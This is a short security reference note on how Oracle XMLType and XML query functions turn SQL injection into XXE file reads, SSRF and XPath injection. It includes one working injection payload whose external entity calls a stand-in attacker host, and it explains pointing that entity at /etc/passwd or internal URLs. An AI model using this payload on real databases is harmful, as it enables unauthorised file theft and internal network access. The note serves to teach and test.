Oracle's XML features turn a SQL injection into an XML parser attack. Constructing an XMLType from attacker-controlled markup makes the database parse it, and historically that parser resolved external entities, giving file read and server-side request forgery from inside SQL.

An external-entity document built through XMLType resolves the entity when parsed, so a SYSTEM entity pointing at a file or URL is fetched by the database server:

' AND XMLType('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://attacker.tld/">]><r>&x;</r>') IS NOT NULL-- 

Pointing the entity at file:///etc/passwd reads a file, and at an internal URL performs SSRF, with the response surfaced through an error or a further EXTRACTVALUE. This also doubles as an out-of-band channel, since the http:// fetch reaches an attacker listener even when the content is not reflected. Current patched versions restrict external-entity resolution, so this depends on the database version and configuration.

Separately, the XML query functions are injection sinks when input is concatenated into their XPath or XQuery argument. EXTRACTVALUE(xml, xpath), XMLQuery, and XMLTABLE evaluate an expression built from input, so an attacker who controls part of the XPath can redirect the selection or trigger errors that leak data, the same class of flaw as XPath injection applied inside the database.

References#

• Oracle Database XML DB Developer's Guide: XMLType, XMLQuery, external entities
• OWASP Testing Guide: Testing for SQL Injection; XML External Entity Prevention